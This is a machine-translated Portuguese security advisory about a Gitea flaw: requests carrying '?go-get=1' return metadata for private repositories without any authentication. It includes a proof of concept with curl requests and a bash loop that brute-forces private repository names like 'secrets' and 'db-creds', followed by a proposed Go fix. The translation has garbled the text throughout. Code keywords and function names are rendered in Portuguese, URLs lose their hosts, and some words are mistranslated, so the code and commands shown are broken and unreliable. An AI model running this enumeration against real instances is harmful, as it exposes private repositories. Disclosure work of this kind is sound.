CampoValor------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 63 – 66 `, ` serviços/ context/repo.go: 374 – 396 `............................................................................................................................... A Gitea implementa um comportamento especial para solicitações que contêm o `?go-get= 1 ` parâmetro de consulta. Este parâmetro é enviado pela cadeia de ferramentas Go (`go get`, `go install`) para descobrir os metadados VCS para as importações de módulos. Quando a Gitea detecta este parâmetro no caminho de solicitação HTTP para um repositório, ele contorna a pilha normal de autenticação e autorização e retorna um HTTP 200 resposta contendo etiquetas ` ` e ` ` — independentemente de: - O repositório é privado - O usuário requerente é autenticado - O usuário requerente tem qualquer permissão no repositório O ponto de entrada é `routers/web/ repo/githttp.go: 63 – 66 `. ``` go func httpBase(ctx *contexto.Contexto, optGitService...string) *serviceMandler { reponame:= strings.TrimSuffix(ctx.PathParam("reponame"), ".git").

se ctx.FormString("go-get") == " 1 " { contexto.Response inicialParaGoGetMeta(ctx) devolver zero // ← retorna antes de qualquer verificação de autorização ou autência }... ``` A função `Response InicialForGoGetMeta` (`services/context/repo.go: 379 – 396 `) é chamado incondicionalmente, e o próprio docstring da função documenta o comportamento pretendido: ``` go // EarlyResponseForGoGetMeta responde a um meta- go-get apropriado com status 200 // se o usuário não tiver acesso real ao repositório solicitado, // ou o proprietário ou repositório não existir de modo algum. // Esta é uma solução de trabalho particular para o comando "go get" que não respeita o arquivo //.netrc. func EarlyResponseForGoGetMeta(ctx *Contexto) { nome de usuário:= ctx.PathParam("username") reponame:= strings.TrimSuffix(ctx.PathParam("reponame"), ".git")... ctx.PlainText(http.StatusOK, htmlMeta) // ← HTTP 200, sem verificação de autênticas } `` A função também aparece em `services/ context/ repo.go: 444, 516, 571 ` — todos os manipuladores de rotas com scoped do repositório que verificam `?go-get= 1 ` e chame `Response InicialForGoGetMeta` antes de realizar qualquer verificação de permissão.

Os metadados devolvidos incluem. 1. O ** nome completo do repositório** e o dono — confirmando que o repositório existe 2. O URL do clone **HTTP** — uma URL totalmente formada apontando para o repositório 3. Os modelos de URL de navegação ** fonte** — que podem revelar o nome padrão do ramo Isto permite que um atacante não autêntico. 1. **Confirmar a existência** de qualquer repositório privado pelo nome 2. **Enumerar** nomes de repositórios privados através de força bruta sem desencadear falhas de autenticação 3. **Hardest** clone URLs e nomes de ramos padrão de repositórios privados #### Prova de Conceito. **Passo 1 — Identificar um repositório privado**.

Qualquer repositório privado funciona. Para esta demonstração, `admin/classified-internal` é definido como privado. **Passo 2 — Confirme que o acesso é negado sem autenticação** As solicitações padrão para um repositório privado retornam corretamente 404 para usuários não autenticados. **Passo 3 — Bypass usando o parâmetro go-get**. ````bash curl -s " 3000 /admin/classificado- interno?go-get= 1 " ```.

**Resposta atual (HTTP) 200 ):**. ```html vai obter -- insegure localhost: 3000 /admin/classificado- interno `` A resposta: - Devolve HTTP ** 200 ** (não é 404 ) — confirmando o repositório **existe** - Revela a URL do clone ** completo**: ` 3000 /admin/classified-internal.git` - Revela o nome do ramo ** predefinido**: `main` - Revela o nome de usuário ** do proprietário**: `admin` Esta mesma resposta é devolvida, quer o repositório exista ou não — o comentário em `EarlyResponseForGoGetMeta` afirma que responde idênticamente para ambos — no entanto, na prática, o URL do clone gerado será funcionalmente diferente (uma tentativa de clone real contra um repositório inexistente falha, enquanto um contra um repositório privado falha apenas na autenticação). Um atacante pode diferenciar usando o tempo de resposta ou tentando 'git ls- remote'.

**Passo 4 — Enumerar repositórios privados em escala**. ````bash # Enumere repos privadas adivinhando nomes comuns para nomes em segredos internos implementam infra api- teclas prod- config db-creds; faça resposta=$(curl -s " 3000 /admin/${nome}?go-get= 1 ") se eco "$response". grep -q "go-import"; então clone_url=$(echo "$response". grep -oP 'git "]+') echo "[FUNDADO] admin/${name} → clone: fi feito ```` **Passo 5 — Verifique o mesmo se aplica ao router web principal**. A vulnerabilidade também existe através do router web padrão para as páginas do repositório: ````bash # Funciona em qualquer URL com recorte -s " 3000 /admin/classificado- interno/ releases?go-get= 1 ". grep "go- import" curl -s " 3000 /admin/classificado- interno/emissões?go-get= 1 ". grep "go- import" ``.

Todos retornam HTTP 200 com os metadados. O que está vazado Sensibilidade -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------. Análise de Causa Raiz O bypass foi introduzido intencionalmente como solução para a limitação da cadeia de ferramentas Go de não ler credenciais `.netrc` antes de decidir se um módulo é acessível. O comando Go `go get` sonda primeiro o endpoint VCS sem credenciais; se ele receber um 404, trata o módulo como inexistente e falha imediatamente sem pedir credenciais.

A solução — devolver os metadados incondicionalmente — foi o caminho de menor resistência para habilitar as importações de módulos privados. A conseqüência não intencional é que ele cria um objetivo de divulgação de informações não autenticado para cada repositório na instância. #### Resolução recomendada. A correção requer diferenciação entre os pedidos que possuem credenciais de autenticação e os que não o fazem, antes de chamar `PrincipalResponseForGoGetMeta`. ```go // roteadores/web/ repo/ githttp.go: 63 – 66 — correção proposta. se ctx.FormString("go-get") == " 1 " { // Para repostas públicas, sempre responda para suportar a cadeia de ferramentas go se repo!= nulo & &!repo.IsPrivada { contexto.PrivadaResponseInicialmenteParaGoGetMeta(ctx) retorno nulo } // Para repostas privadas, só responda se o usuário estiver autêntico // e tiver pelo menos acesso ler se ctx.IsFirmado { se perm, err:= access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil { se perm.CanRead(unidade.TypeCode) { contexto.EarlyResponseForGoGetMeta(ctx) retorno nulo } } } // Pedido não autenticado para uma reposta privada — retorno 404 consistente // com o comportamento normal; a cadeia de ferramentas go irá pedir credenciais ctx.PlainText(http.StatusNotFound, "Repository not found") devolver zero } ```.

Esta abordagem preserva a funcionalidade go-get para repositórios públicos, protegendo os privados. A cadeia de ferramentas Go voltará a indicar as credenciais quando receber um 404, que é o comportamento correto para as importações de módulos privados. Registro de aconselhamento: GHSA- p 4 mj- 98 mv-xq 26. Identificadores relacionados: CVE- 2026 - 58507. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 21 T 20: 23: 48.000 Z e lista a sua última modificação como 2026 - 07 - 21 T 20: 23: 48.000 Z.

Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. Software afetado e informações de versão: Go package code.gitea.io/gitea — ECOSISTEM: introduzido 0, corrigido 1.27.0. Classificação e evidência: identificadores de fraqueza CWE- 200, CWE- 284. O registro contém 3 suporte de referências nestes tipos: WEB, PACKAGE.